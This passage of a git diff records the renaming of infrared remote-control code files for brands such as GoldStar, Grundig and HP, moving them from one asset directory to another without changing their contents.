b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/132,98.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Go Video/VCR/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Griffin/iPod/212,190.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Satellite/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HQV/Video Processor/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir similarity index 100% rename from 